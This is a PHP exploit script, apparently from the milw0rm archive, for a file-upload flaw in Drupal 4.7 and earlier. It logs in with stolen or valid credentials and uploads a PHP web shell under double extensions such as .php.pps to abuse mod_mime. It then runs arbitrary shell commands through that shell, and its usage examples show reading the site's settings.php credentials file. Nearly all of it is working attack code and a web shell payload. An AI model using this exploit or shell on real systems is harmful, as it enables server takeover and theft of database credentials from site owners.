393 lines
No EOL
11 KiB
PHP
393 lines
No EOL
11 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n";
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echo "by rgod rgod@autistici.org\r\n";
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echo "site: http://retrogod.altervista.org\r\n\r\n";
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/*
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this works with a user account with upload rights and with permissions to modify
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stories, however this is only a poc, you can do the same uploading an attachment,
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like this, with double extension, through all modules:
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attach.php.pps
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with this content:
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*/
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$shell=
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'<?php
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if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}
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ini_set("max_execution_time",0);
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echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
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passthru($_GET[cmd]);
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echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
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?>';
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/*
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then:
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http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la
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also, I noticed that from an admin account you can upload .php3 or .php5 files
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*/
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if ($argc<6) {
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echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to Drupal\r\n";
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echo "user-pass: valid credentials with upload rights\r\n";
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echo "cmd: a shell command\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /drupal/ user password cat ./../sites/default/settings.php\r\n";
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echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n";
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echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n";
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die;
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}
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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function make_seed()
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{
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list($usec, $sec) = explode(' ', microtime());
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return (float) $sec + ((float) $usec * 100000);
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}
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$host=$argv[1];
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$path=$argv[2];
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$user=$argv[3];
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$pass=$argv[4];
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$cmd="";$port=80;$proxy="";
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for ($i=5; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P"))
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{$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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$cmd=urlencode($cmd);
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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srand(make_seed());
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$anumber = rand(1,99999);
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$data ="edit%5Bname%5D=".$user;
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$data.="&edit%5Bpass%5D=".$pass;
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$data.="&edit%5Bform_id%5D=user_login";
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$data.="&op=Log%20in";
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$packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n";
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$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
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$packet.="Accept-Encoding: gzip, deflate\r\n";
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$packet.="Accept-Language: it\r\n";
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$packet.="Referer: http://".$host.$path."\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Cache-Control: no-cache\r\n";
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$packet.="Connection: close\r\n\r\n";
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$packet.=$data;
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// echo quick_dump($packet);
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sendpacketii($packet);
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$temp=explode("Set-Cookie: ",$html);
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$temp2=explode(" ",$temp[2]);
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$cookie=$temp2[0];
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echo "\r\nCookie -> ".$cookie."\r\n\r\n";
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$ext= array(".php.jpg",".php.jpeg",".php.gif", ".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php.ppt",".php.pps");
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for ($x=0; $x<=count($ext)-1;$x++)
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{
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echo "Trying with ".$ext[$x]." extension...\r\n";
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$d=date("Y-m-d");
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$data='-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[title]"
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titolo
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[body]"
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corpo
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[format]"
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1
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[form_id]"
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story_node_form
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[name]"
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'.$user.'
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[date]"
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'.$d.' 23:59:59 +0000
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[status]"
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1
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[promote]"
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1
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[comment]"
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2
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[path]"
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][title]"
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][description]"
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][pid]"
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1
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][path]"
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][weight]"
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0
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][mid]"
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0
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[menu][type]"
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86
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[upload]"; filename="suntzu'.$anumber.$ext[$x].'"
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Content-Type: image/jpeg
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'.$shell.'
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="fileop"
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Attach
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[fileop]"
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http://'.$host.$path.'?q=upload/js
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-----------------------------7d6381c1b00a2
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Content-Disposition: form-data; name="edit[vid]"
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-----------------------------7d6381c1b00a2--
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';
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$packet="POST ".$p."?q=upload/js HTTP/1.0\r\n";
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$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Cache-Control: no-cache\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Keep-Alive\r\n\r\n";
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$packet.=$data;
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//echo quick_dump($packet);
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sendpacketii($packet);
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$data='-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[title]"
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titolo
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[body]"
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corpo
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[format]"
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1
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[form_id]"
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story_node_form
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[name]"
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'.$user.'
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[date]"
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'.$d.' 23:59:59 +0000
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[status]"
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1
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[promote]"
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1
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[comment]"
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2
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[path]"
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][title]"
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][description]"
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][pid]"
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1
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][path]"
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][weight]"
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0
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][mid]"
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0
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[menu][type]"
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86
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[files][upload_0][list]"
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1
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[files][upload_0][description]"
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hello.txt
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[upload]"; filename=""
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Content-Type: image/jpeg
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[fileop]"
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http://'.$host.$path.'?q=upload/js
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="edit[vid]"
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-----------------------------7d6318101b00a2
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Content-Disposition: form-data; name="op"
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Submit
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-----------------------------7d6318101b00a2--
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';
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$packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n";
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$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Cache-Control: no-cache\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Keep-Alive\r\n\r\n";
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$packet.=$data;
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//echo quick_dump($packet);
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sendpacketii($packet);
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$packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd." HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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//echo quick_dump($packet);
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sendpacketii($packet);
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if (strstr($html,"*deli*"))
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{echo "Exploit succeeded...\r\n";
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$temp=explode("*deli*",$html);
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die($temp[1]);
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}
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}
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//if you are here...
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echo "Exploit failed...";
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?>
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# milw0rm.com [2006-05-24]
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